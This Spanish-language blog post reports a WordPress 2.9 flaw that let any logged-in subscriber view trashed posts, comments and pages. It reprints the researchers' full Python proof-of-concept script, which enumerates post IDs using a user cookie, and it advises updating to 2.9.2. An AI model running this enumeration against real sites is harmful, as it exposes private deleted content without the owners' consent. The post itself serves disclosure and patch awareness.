Un nuevo fallo en el famoso WordPress, descubierto por el investigador Thomas Mackenzie permitiría a “cualquier” persona los artículos, comentarios y paginas, que hayas borrado y se encuentren en la “papelera”.

Desde la versión 2.9 de WordPress se implementó una nueva característica  llamada “papelera“, con la cual todos los artículos, comentarios o páginas “borradas” pasarían a la “papelera de reciclaje” para prevenir así que sean eliminados de forma accidental.

Lo que descubrió Thomas Mackenzie es que en WordPress decidieron no ponerle restricción de acceso a los contenidos de la “papelera”, por lo que cualquier persona con privilegio 0 (Suscriptor) podría ver todo lo que estuviera almacenado en ella, el único inconveniente (y posiblemente la razón por la que dejaron este nivel de acceso), es que necesitamos conocer la ruta de los contenidos eliminados para poder acceder a ellos… cosa que Mackenzie pudo solucionar desarrollando este script en Python, con el que enumera los contenidos que tenemos en nuestra “papelera”.

#/usr/bin/python
#
# WordPress > 2.9 Failure to Restrict URL Access PoC
#
# This script iterates through the WP post ID’s as an authenticated and unauthenticated user.
# If the requests differ a ‘Trash’ post has been found.
#
# You will need an authenticated user cookie of any priveledge to run this script.
#
# Example cookie:
# wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8
#
# Will only work with WP URLs with the ‘/?p={int}’ parameter. Would need to handle redirects (3xx) to handle all URL types.
#
#
# Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst (ethicalhack3r)

import httplib

# Declare vars
blogURL = “www.example.com”
userCookie = “enter_cookie_here”
postID = 0 #Leave at 0

conn = httplib.HTTPConnection(blogURL)
Headers = {“Cookie” : userCookie}

print
print “Target = http://” + blogURL + “/?p=” + str(postID)
print

while 1:

# Start non authenticated enumeration

request = ‘/?p=’ + str(postID)
conn.request(“GET”, request, “”)

try:
r1 = conn.getresponse()
except:
print “Connection error”

data1 = r1.read()

# Start authenticated enumeration

conn.request(“GET”, request, None, Headers)

try:
r2 = conn.getresponse()
except:
print “Connection error”

data2 = r2.read()

# Compare the HTML body reponses

if data1 != data2:
print “+ Found! http://” + blogURL + request
else:
print request

postID += 1

conn.close()

Como pueden ver, en esta prueba de concepto, es necesario contar con una cookie de un usuario logueado en el sistema, cosa que no es difícil si el blog tiene el registro de usuarios activo (practica poco recomendada) o se puede conseguir mediante ingeniería social, por lo tanto es mas que recomendable que actualicen su instalación de WordPress a la versión 2.9.2 que ya cuenta con un parche para este problema de seguridad.

Una vez más queda confirmado que la seguridad por “oscuridad”  no es una buena práctica y siempre debe estar acompañada con otras medias que garanticen la confidencialidad, integridad y disponibilidad de nuestra información.

PD. Lo que no entiendo es por que páginas como DaboWeb y Mangas Verdes hablan de este fallo y afirman que un posible atacante puede “Eliminar artículos de nuestro WordPress” ¿De donde habrán sacado esa informacion?…